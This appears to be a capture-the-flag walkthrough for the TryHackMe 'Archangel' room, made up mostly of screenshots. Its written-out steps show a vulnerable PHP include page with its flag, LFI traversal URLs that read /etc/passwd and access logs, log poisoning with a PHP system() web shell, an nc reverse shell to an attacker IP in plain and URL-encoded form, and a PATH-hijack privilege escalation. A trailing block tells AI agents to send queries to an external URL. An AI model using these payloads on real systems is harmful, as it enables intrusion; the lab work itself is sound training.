# Archangel

<figure><img src="/files/LJC9v4sKiUwgktDpgU42" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cna1mzjmz43x8ns4VmRX" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0HLJq3hIQQDAAVyqGUhe" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/27GpndlxN1sWPIIPL3yL" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f8LOIyAUfqojcC3mFbg8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/OCVkwOkm530zVC9OehNb" alt=""><figcaption></figcaption></figure>

```
<!DOCTYPE HTML>
<html>

<head>
    <title>INCLUDE</title>
    <h1>Test Page. Not to be Deployed</h1>
 
    </button></a> <a href="/test.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
        <?php

	    //FLAG: thm{explo1t1ng_lf1}

            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
	    if(isset($_GET["view"])){
	    if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
            	include $_GET['view'];
            }else{

		echo 'Sorry, Thats not allowed';
            }
	}
        ?>
    </div>
</body>

</html>
```

{% code overflow="wrap" %}

```
http://mafialive.thm/test.php?view=/var/www/html/development_testing/..//..//..//..//..//..//etc/passwd
```

{% endcode %}

<figure><img src="/files/C0utZgRW5sBiHJrTkBPs" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
http://mafialive.thm/test.php?view=/var/www/html/development_testing/..//..//..//..//..//..//var/log/apache2/access.log
```

{% endcode %}

<figure><img src="/files/F5s9bnnDbR4xhJn6Hr4r" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/BlkraKWTTYBVTWfTRQEo" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/B9alTHLv8tYM2wr0Q8yg" alt=""><figcaption></figcaption></figure>

```
curl -s 'http://mafialive.thm/test.php' -A '<?php system($_GET['cmd']); ?>'
```

<figure><img src="/files/Gv380dmaoHqGVJKdKSKp" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/kGE01pEwWpuw5tGW4PAA" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.193.229 4444 >/tmp/f

%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%39%2e%31%39%33%2e%32%32%39%20%34%34%34%34%20%3e%2f%74%6d%70%2f%66
```

{% endcode %}

<figure><img src="/files/VxGyFEbk2CbjJT70HEup" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4Pr48t4iZxYQS6TulBQ9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/wZJghDqLqenEaBojnuNr" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/itGEtFvRBIbKrPpol2vE" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/OOBC130tliAw7OJx9UsX" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/GM5uludCpi5lH6pquwzK" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/W5r141uPKBWlTlkpcFqq" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8suxwzpdalvl99aohAQq" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/DqngW01msBw4ZFvWklK5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7TqTsZn0yqMC0IrUsrHR" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/O3N1WBB8aOFsRl7hbl6Y" alt=""><figcaption></figcaption></figure>

```
nano cp
cat cp
chmod +x cp
export PATH=/home/archangel:$PATH
echo $PATH
```

<figure><img src="/files/CC9lo9X5RO4joLYBL5FI" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/82ysYLOrWfgnWa9PmVei" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kyou00.gitbook.io/xyz/tryhackme/view/archangel.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
